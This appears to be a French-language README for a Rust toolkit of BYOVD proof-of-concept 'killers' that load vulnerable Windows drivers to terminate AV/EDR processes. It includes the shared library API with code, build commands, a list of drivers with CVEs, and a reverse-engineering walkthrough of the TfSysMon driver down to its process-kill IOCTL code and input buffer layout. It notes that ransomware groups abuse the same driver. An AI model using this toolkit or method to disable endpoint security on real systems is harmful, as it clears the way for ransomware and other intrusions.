
BYOVD research use cases featuring vulnerable driver discovery and reverse engineering methodology. (CVE-2025-52915, CVE-2025-1055, CVE-2026-3609, CVE-2026-8501).
BYOVD est une collection de PoCs démontrant comment des pilotes vulnérables peuvent être exploités pour désactiver les solutions AV/EDR.
La collection inclut à la fois des pilotes non documentés et ceux déjà couverts dans LOLDDrivers ou les règles de blocage de pilotes recommandées par Microsoft.
Depuis sa découverte initiale, le pilote TfSysMon a été ajouté à LOLDrivers et abusé par des groupes de ransomware utilisant l’outil EDRKillShifter, comme rapporté par Sophos & ESET
La technique BYOVD a récemment gagné en popularité dans le domaine de la sécurité offensive, notamment avec la sortie d’outils comme Terminator de SpyBoy (vendu à 3 000 $) et le projet ZeroMemoryEx Blackout. Ces outils exploitent des pilotes vulnérables pour désactiver les agents AV/EDR, facilitant ainsi d’autres attaques en réduisant la détection.
Ce dépôt contient plusieurs PoCs développés à des fins éducatives, aidant les chercheurs à comprendre comment ces pilotes peuvent être abusés pour terminer des processus.
Le projet est organisé en espace de travail Rust Cargo. La plupart des PoCs partagent une bibliothèque commune (byovd-lib) qui gère la partie générique : cycle de vie du service pilote, distribution des IOCTL, surveillance des processus, ajustement des privilèges et nettoyage. Chaque tueur est un binaire léger (~50-100 lignes) qui ne définit que sa configuration spécifique au pilote. K7Terminator, Astra64-RW et Xhunter1-Killer sont autonomes — ils possèdent leurs propres déclarations [workspace] et sont compilés directement depuis leurs répertoires respectifs, et non via l’espace de travail racine.```
BYOVD/
├── Cargo.toml # Workspace root (deps + release profile)
├── Cargo.lock
├── README.md
├── LICENSE
│
├── byovd-lib/ # Shared library
│ ├── Cargo.toml
│ └── src/
│ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor()
│ ├── service.rs # ByovdDriver -- SCM lifecycle (install/start/stop_and_delete)
│ ├── device.rs # DeviceHandle -- 5 typed IOCTL dispatch shapes
│ ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync)
│ ├── process.rs # find_pid_by_name / find_all_pids_by_name
│ ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler
│ ├── privilege.rs # enable_privilege / ensure_running_as_local_system
│ └── util.rs # to_wstring / to_cstring / get_current_dir
│
├── AppRemover-Killer/ # OPSWAT AppRemover ardrv.sys
├── Astra64-RW/ # EnTech Astra32 / TVicHW astra64.sys -- standalone, kernel R/W demo (Shadow SSDT hijack -> SYSTEM)
├── BdApiUtil-Killer/ # Baidu BdApiUtil64 (CVE-2024-51324)
├── CcProtect-Killer/ # CnCrypt CcProtect
├── EnPortv-Killer/ # EnCase EnPortv
├── GameDriverX64-Killer/ # Fedeen GameDriverX64 (CVE-2025-61155)
├── GoFlyDrv-Killer/ # Golink GoFlyDrv
├── HWAudioOs2Ec-Killer/ # Huawei Audio driver HWAudioOs2Ec.sys
├── K7Terminator/ # K7 RKScan -- standalone, LPE + BYOVD modes
├── Ksapi64-Killer/ # Kingsoft ksapi64
├── MonProcessEX-Killer/ # HONOR MagicAnimation and HONOR PCManager MonProcessEX.sys
├── NSec-Killer/ # NSEC NSecKrnl (ValleyRAT BYOVD reproduction)
├── PCTcore64-Killer/ # PC Tools PCTcore64 (CVE-2026-8501)
├── PoisonX-Killer/ # Microsoft PoisonX (j3h4ck reproduction)
├── STProcessMonitor-Killer/ # Safetica STProcessMonitor (CVE-2025-70795, v114 + v2618)
├── TfSysMon-Killer/ # ThreatFire sysmon
├── UnknownKiller/ # unattributed unknown.sys
├── Viragt64-Killer/ # Tg Soft viragt64
├── Wsftprm-Killer/ # Topaz wsftprm (CVE-2023-52271)
├── Xhunter1-Killer/ # Wellbia xhunter1.sys (CVE-2026-3609)
└── Xkpsm-Killer/ # JiranJikyosoft X-Keeper xkpsm
Chaque répertoire `*-Killer/` contient son propre `Cargo.toml`, `src/main.rs` (l'implémentation `DriverConfig` + CLI), `README.md` (hachages du pilote + utilisation) et le fichier `.sys` correspondant que le binaire charge au moment de l'exécution.
## 🔧 Construction
**Prérequis :** Chaîne d'outils Rust et Visual Studio Build Tools avec le SDK Windows.```bash
# Build all tools (release, optimized + stripped)
cargo build --release
# Build a single tool
cargo build --release -p BdApiUtil-Killer
# Build multiple specific tools
cargo build --release -p NSec-Killer -p Wsftprm-Killer
Les binaires sont générés dans target/release/. Copiez le fichier pilote .sys correspondant dans le même répertoire que l'exécutable avant de l'exécuter.
byovd-lib est la bibliothèque partagée sur laquelle tous les PoCs (sauf K7Terminator) sont construits. Elle expose deux API complémentaires — une API déclarative de haut niveau pour le flux standard "installer le pilote, tuer à vue, nettoyer", et une API impérative de bas niveau pour les killers qui nécessitent un flux personnalisé (attacher à un pilote déjà chargé, disperser sur plusieurs PID, tampons IOCTL structurés, logique de réessai personnalisée, etc.). Les deux peuvent être mélangés dans le même binaire.
byovd-lib/src/ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor() ├── service.rs # ByovdDriver -- SCM lifecycle (install, start, stop_and_delete) ├── device.rs # DeviceHandle -- typed IOCTL dispatch (5 shapes) ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync) ├── process.rs # find_pid_by_name / find_all_pids_by_name ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler ├── privilege.rs # enable_privilege / ensure_running_as_local_system └── util.rs # to_wstring / to_cstring / get_current_dir
### API de haut niveau : trait `DriverConfig` + `run()`
C'est ce qu'utilisent les killers intégrés. Implémentez le trait, appelez `byovd_lib::run()`, terminé.```rust
use byovd_lib::{DriverConfig, Result};
use clap::Parser;
struct MyDriver;
impl DriverConfig for MyDriver {
fn driver_name(&self) -> &str { "MyDriver" }
fn driver_file(&self) -> &str { "mydriver.sys" }
fn device_path(&self) -> &str { "\\\\.\\MyDevice" }
fn ioctl_code(&self) -> u32 { 0xDEAD }
fn build_ioctl_input(&self, pid: u32, _name: &str) -> Vec<u8> {
pid.to_ne_bytes().to_vec()
}
}
#[derive(Parser)]
struct Cli {
#[arg(short = 'n', long = "name", required = true)]
process_name: String,
}
fn main() -> Result<()> {
let cli = Cli::parse();
byovd_lib::run(&MyDriver, &cli.process_name, None)
}
run() effectue : preflight_check → installer le service (SERVICE_DEMAND_START) → StartService → moniteur kill-on-sight (Ctrl+C pour quitter) → arrêter + supprimer le service.
Remplacements facultatifs avec leurs valeurs par défaut :
Lorsque le flux de trait ne convient pas -- par ex. le pilote est déjà chargé et vous souhaitez envoyer un seul IOCTL, vous avez besoin d'une politique de réessai personnalisée, l'IOCTL prend une entrée structurée plutôt qu'un simple PID, ou vous voulez diffuser sur tous les PID correspondants -- composez directement les composants de bas niveau.
Cycle de vie du pilote -- ByovdDriver:```rust
use byovd_lib::ByovdDriver;
let driver = ByovdDriver::new("MyDriver", "mydriver.sys", "\\.\MyDevice")?; driver.start()?; // ERROR_SERVICE_ALREADY_RUNNING is OK let device = driver.open_device()?; // returns DeviceHandle // ... send IOCTLs ... driver.stop_and_delete()?;
**Distribution IOCTL** -- `DeviceHandle` expose cinq formes typées :
| Méthode | Utilisation lorsque |
|---|---|
| `ioctl<I, O>(code, &input, &mut output)` | Tampons d'entrée et de sortie, types séparés |
| `ioctl_inout<T>(code, &mut data)` | Même tampon pour entrée + sortie |
| `ioctl_in<I>(code, &input)` | Entrée uniquement, pas de tampon de sortie |
| `ioctl_in_unchecked<I>(code, &input)` | Entrée uniquement, ignorer l'échec (alternative par appel à `ignore_ioctl_error`) |
| `ioctl_raw(code, in_ptr, in_size, out_ptr, out_size)` | Passerelle d'échappement de pointeur brut |
Les formes typées suppriment le code standard manuel `to_ne_bytes()` / `extend_from_slice()` lorsque l'IOCTL prend une structure (par exemple `{ pid: u32, padding: [u8; 20] }`).
**Recherche de processus** -- `find_pid_by_name(name)` (première correspondance) et `find_all_pids_by_name(name)` (toutes les correspondances, exclut les PID système ≤ 4).
**Boucle de surveillance personnalisée** -- `run_monitor_loop(name, interval, |pid| ...)` prend une fermeture pour que vous puissiez faire ce que vous voulez par correspondance (plusieurs IOCTL, journalisation structurée, répartition sur plusieurs PID, nouvelle tentative en cas d'erreur).
**Privilèges** -- `enable_privilege("SeDebugPrivilege")` / `enable_privilege("SeLoadDriverPrivilege")` pour les pilotes qui nécessitent des privilèges de jeton explicites. `ensure_running_as_local_system()` renvoie une erreur si le processus ne s'exécute pas sous `S-1-5-18`.
**Wrappers de handles** -- `WinHandle` (auto-`CloseHandle`) et `ScHandle` (auto-`CloseServiceHandle`) sont `Send + Sync` et peuvent être déplacés entre threads.
### Exemple : attachement à un pilote déjà chargé, sans cycle de service
C'est ce que fait `UnknownKiller --attach` -- ignore complètement le SCM, ouvre simplement le périphérique et déclenche l'IOCTL une fois :```rust
use byovd_lib::{find_pid_by_name, DeviceHandle, Result};
fn main() -> Result<()> {
let device = DeviceHandle::open("\\\\.\\eb")?;
let pid = find_pid_by_name("notepad.exe").ok_or("not running")?;
device.ioctl_in(0x222024, &pid)?; // typed: just pass &u32
Ok(())
}
FileHandle / ServiceHandle résolvent toujours vers WinHandle / ScHandle, et get_pid_by_name est conservé comme alias de find_pid_by_name, donc le code plus ancien qui référence ces noms continue de compiler.
Vous trouverez ci-dessous les pilotes et leurs PoCs respectifs disponibles dans ce dépôt :
ardrv.sys de OPSWAT AppRemover.astra64.sys de EnTech Taiwan (Astra32 / TVicHW) — PoC autonome de lecture/écriture noyau.BdApiUtil64.sys de Baidu AntiVirus (CVE-2024-51324).CcProtect.sys de CnCrypt.EnPortv.sys de Guidance EnCase.Cette section présente la méthode de rétro-ingénierie complète de A à Z en utilisant le pilote TfSysMon comme exemple pratique. Ce processus s'applique à l'analyse de tout pilote du noyau Windows x64.
Vérifiez les importations du pilote avant de commencer la rétro-ingénierie.
Un pilote tueur de processus basique nécessite 2 choses :
Vérifiez si un pilote importe les deux types de fonctions. Si un pilote a dans ses fonctions importées Nt/ZwOpenProcess ET Nt/ZwTerminateProcess, alors c'est un candidat potentiel de pilote tueur de processus.
Ce n'est qu'après avoir confirmé ces importations que vous devez procéder à une rétro-ingénierie détaillée dans IDA Pro.
Outils requis :
Chaque pilote Windows commence par DriverEntry - trouvez cette fonction en premier :
Dans TfSysMon, le DriverEntry ressemble à ceci :```c NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { unsigned __int64 v2; // rax v2 = BugCheckParameter2; if ( !BugCheckParameter2 || BugCheckParameter2 == 0x2B992DDFA232LL ) { v2 = ((unsigned __int64)&BugCheckParameter2 ^ MEMORY[0xFFFFF78000000320]) & 0xFFFFFFFFFFFFLL; if ( !v2 ) v2 = 0x2B992DDFA232LL; BugCheckParameter2 = v2; } BugCheckParameter3 = ~v2; return sub_17484(DriverObject); }
**Notes d'analyse :**
- Le code effectue une initialisation avec BugCheckParameter2 et BugCheckParameter3
- La véritable initialisation du pilote a lieu dans `sub_17484`
- Suivez l'appel à `sub_17484(DriverObject)` - c'est là que la configuration réelle du pilote se produit
### 📍 Étape 2 : Suivez la chaîne d'initialisation du pilote
**Accédez à la fonction d'initialisation (`sub_17484`) :**```c
NTSTATUS __fastcall sub_17484(PDRIVER_OBJECT DriverObject, unsigned __int16 *a2)
{
// ... initialization code ...
RtlInitUnicodeString(&DestinationString, L"\\Device\\TfSysMon");
result = IoCreateDevice(DriverObject, 0, &DestinationString, 0x22u, 0x100u, 0, &DeviceObject);
if ( result < 0 )
return result;
qword_1D5D8 = 0;
dword_1D5D0 = 1;
DriverObject->MajorFunction[15] = (PDRIVER_DISPATCH)&sub_17694;
DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)&sub_17694;
DriverObject->MajorFunction[18] = (PDRIVER_DISPATCH)&sub_17694;
DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)&sub_17694;
DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)&sub_17694;
RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\TfSysMon");
v6 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
// ... rest of function ...
}
Principales découvertes de rétro-ingénierie :
\\Device\\TfSysMon (espace noyau)\\DosDevices\\TfSysMon (accessible en mode utilisateur sous le nom \\.\\TfSysMon)0x22 = FILE_DEVICE_UNKNOWNsub_17694Naviguer vers la fonction de distribution (sub_17694) :```c
__int64 __fastcall sub_17694(struct _DEVICE_OBJECT *a1, IRP *a2)
{
struct _IO_STACK_LOCATION *CurrentStackLocation; // rdx
unsigned int v4; // ebx
if ( a1 != DeviceObject ) { v4 = -1073741790; goto LABEL_20; } CurrentStackLocation = a2->Tail.Overlay.CurrentStackLocation; v4 = 0; if ( !CurrentStackLocation->MajorFunction ) { // Handle IRP_MJ_CREATE } else if ( CurrentStackLocation->MajorFunction == 2 ) { // Handle IRP_MJ_CLOSE } else if ( CurrentStackLocation->MajorFunction <= 0xDu ) { goto LABEL_7; } else if ( CurrentStackLocation->MajorFunction <= 0xFu ) { v4 = sub_177D8(a2); // THIS IS THE IOCTL HANDLER goto LABEL_20; } // ... rest of function }
**Analyse de rétro-ingénierie :**
- La validation du périphérique se produit en premier (`if ( a1 != DeviceObject )`)
- `CurrentStackLocation->MajorFunction` détermine le type d'opération
- **CRITIQUE** : Les valeurs MajorFunction 14 (0xE) et 15 (0xF) appellent `sub_177D8`
- MajorFunction 14 = IRP_MJ_DEVICE_CONTROL = traitement IOCTL
- Le chemin de code vulnérable est : **Requête IOCTL → sub_177D8**
### 📍 Étape 4 : Rétro-ingénierie du gestionnaire IOCTL
**Naviguez vers la fonction de traitement IOCTL (`sub_177D8`) :**```c
__int64 __fastcall sub_177D8(PIRP Irp, __int64 a2, __int64 a3, __int64 a4)
{
// ... variable declarations ...
v7 = *(_DWORD *)(a2 + 24); // Extract IOCTL code
MasterIrp = Irp->AssociatedIrp.MasterIrp; // Input buffer
v9 = *(unsigned int *)(a2 + 16); // InputBufferLength
v10 = *(_DWORD *)(a2 + 8); // OutputBufferLength
if ( v7 > 0xB4A00070 )
{
if ( v7 > 0xB4A000F8 )
{
if ( v7 != -1264582404 )
{
switch ( v7 )
{
// ... various cases ...
case 0xB4A00404: // VULNERABLE IOCTL CODE
if ( (unsigned int)v9 >= 0x18 )
return (unsigned int)sub_1837C((__int64)Irp->AssociatedIrp.MasterIrp);
break;
// ... more cases ...
}
}
}
}
// ... rest of function
}
Découvertes critiques en rétro-ingénierie :
v7 = *(_DWORD *)(a2 + 24) récupère le code IOCTL depuis IO_STACK_LOCATIONIrp->AssociatedIrp.MasterIrp contient les données utilisateurv9 = *(unsigned int *)(a2 + 16) récupère la taille du tampon d'entrée0xB4A00404 mène à sub_1837CNaviguez jusqu'à la fonction de terminaison de processus (sub_1837C) :```c
__int64 __fastcall sub_1837C(__int64 a1)
{
unsigned int v2; // ebx
void *v3; // rax
unsigned int v4; // edi
NTSTATUS v6; // eax
// ... variable declarations ...
v2 = 0; if ( MmIsAddressValid((PVOID)a1) ) { v3 = *(void **)(a1 + 4); // EXTRACT PID FROM OFFSET +4 v4 = 0; if ( !v3 ) return 3221225485LL; memset(&ObjectAttributes.RootDirectory, 0, 20); ObjectAttributes.SecurityDescriptor = 0; ObjectAttributes.SecurityQualityOfService = 0; ClientId.UniqueThread = 0; ObjectAttributes.Length = 48; ClientId.UniqueProcess = v3; // SET TARGET PID while ( 1 ) { v6 = ZwOpenProcess(&ProcessHandle, 1u, &ObjectAttributes, &ClientId); v7 = v6 < 0; v2 = v6; if ( !v6 ) break; v8 = v4++; if ( v8 >= 3 ) { v7 = v6 < 0; break; } } if ( !v7 ) { v9 = 0; do { v2 = ZwTerminateProcess(ProcessHandle, 0); // TERMINATE PROCESS if ( !v2 ) break; v10 = v9++; } while ( v10 < 3 ); ZwClose(ProcessHandle); } } return v2; }
**Function Analysis:**
- **Input Structure** : D'après l'analyse du code du pilote, nous avons déterminé la structure du tampon où le PID se trouve à l'offset +4
- **Input Parsing** : `v3 = *(void **)(a1 + 4)` extrait le PID du tampon d'entrée à l'offset +4
- **Process Opening** : `ZwOpenProcess` avec des droits d'accès minimaux (1u = PROCESS_TERMINATE)
- **No Security Checks** : Aucune validation des privilèges de l'appelant ni de la protection du processus cible
- **Process Termination** : Appel direct à `ZwTerminateProcess`
- **Retry Logic** : Tentatives multiples pour l'ouverture et la termination
- **Any Process** : Peut terminer tout processus accessible au compte SYSTEM
### 📍 Étape 6 : Cartographier la chaîne d'attaque complète
**Flux de rétro-ingénierie complet :**
1. **Point d'entrée** : L'utilisateur appelle `DeviceIoControl` sur `\\.\\TfSysMon`
2. **Création de l'IRP** : Le gestionnaire d'E/S crée un IRP avec MajorFunction = 14
3. **Dispatch** : `sub_17694` achemine vers `sub_177D8` pour le traitement de l'IOCTL
4. **Vérification de l'IOCTL** : `sub_177D8` valide le code IOCTL `0xB4A00404` et la taille du tampon ≥ 24 octets
5. **Exécution** : Appelle `sub_1837C` avec le tampon d'entrée utilisateur
6. **Termination** : `sub_1837C` extrait le PID à l'offset +4 et termine le processus via `ZwTerminateProcess`
**Structure du tampon d'entrée (d'après la rétro-ingénierie du pilote) :**```
Offset 0x00-0x03: [padding] - 4 bytes
Offset 0x04-0x07: [Target Process ID] - 4 bytes (DWORD)
Offset 0x08-0x17: [extra_padding] - 16 bytes
Total Size: 24 bytes (0x18) - matches driver's minimum size check
Cette méthodologie montre comment rétro-ingénier systématiquement tout pilote noyau Windows x64 pour identifier des vulnérabilités similaires en suivant le chemin d'exécution depuis la communication en mode utilisateur jusqu'aux opérations dangereuses du noyau.
Si BYOVD a aidé vos opérations red team, pensez à m'offrir une bière :
Le projet BYOVD est uniquement à des fins éducatives et de recherche. L'auteur n'est pas responsable de toute mauvaise utilisation ou des dommages causés par ces programmes. Demandez toujours une autorisation explicite avant d'utiliser ces outils sur un système.
| Méthode | Défaut | Objectif |
|---|
device_access() | SERVICE_ALL_ACCESS | Indicateurs d'accès CreateFileW |
skip_unload() | false | Ignorer le nettoyage du pilote (p. ex. pilotes qui causent un BSOD au déchargement) |
ignore_ioctl_error() | false | Traiter l'échec IOCTL comme un succès (p. ex. NSecKrnl signale une erreur en cas de succès) |
ioctl_output_size() | 0 | Taille attendue du tampon de sortie en octets |
preflight_check() | Ok(()) | Validation avant lancement (p. ex. vérification LocalSystem) |
GameDriverX64.sysFedeen GamesGoFlyDrv.sys de Golink.HWAudioOs2Ec.sys de Huawei.K7RKScan.sys de K7 Computing (CVE-2025-52915, CVE-2025-1055) — Article complet.ksapi64.sys / ksapi64_del.sys de Kingsoft Corporation.MonProcessEX.sys de HONOR.NSecKrnl.sys de NSEC (reproduction ValleyRAT BYOVD).PCTcore64.sys de PC Tools (CVE-2026-8501).PoisonX.sys de Microsoft (reproduction de @j3h4ck).STProcessMonitor.sys de Safetica (CVE-2025-70795, prend en charge les versions v11.11.4 et v11.26.18).sysmon.sys de ThreatFire System Monitor.unknown.sys d'un fournisseur non attribué (origine du pilote à déterminer).viragt64.sys de Tg Soft.wsftprm.sys de Topaz Antifraud (CVE-2023-52271).xhunter1.sys de Wellbia (XIGNCODE3, CVE-2026-3609).xkpsm.sys de JiranJikyosoft X-Keeper.